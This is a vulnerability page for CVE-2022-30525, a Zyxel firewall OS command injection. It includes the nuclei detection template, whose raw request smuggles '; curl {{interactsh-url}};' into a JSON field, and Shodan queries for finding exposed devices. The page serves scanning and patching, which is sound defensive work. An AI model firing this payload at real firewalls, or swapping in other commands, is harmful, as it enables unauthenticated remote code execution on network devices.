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CVE-2022-30525· zyxel / usg flex 100w firmware· CWE-78
Zyxel Firewall - OS Command Injection
Exploited in the wild. Listed by CISA on 2022-05-16; known to be used by ransomware.
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Impact
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
Fix
Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
How to confirm it
Send: POST /ztp/cgi-bin/handler
Positive when: contains in interactsh_protocol "http" AND status 500Run it with nuclei: nuclei -id CVE-2022-30525 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-30525
info:
name: Zyxel Firewall - OS Command Injection
author: h1ei1,prajiteshsingh
severity: critical
description: |
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
remediation: |
Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
reference:
- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
- https://github.com/rapid7/metasploit-framework/pull/16563
- https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-30525
cwe-id: CWE-78
epss-score: 0.99944
epss-percentile: 0.99974
cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: usg_flex_100w_firmware
shodan-query:
- title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
- http.title:"usg flex 100","usg flex 100w","usg flex 200","usg flex 500","usg flex 700","usg flex 50","usg flex 50w","atp100","atp200","atp500","atp700"
tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce,vkev,vuln
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: status
status:
- 500References
- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
- https://github.com/rapid7/metasploit-framework/pull/16563
- https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
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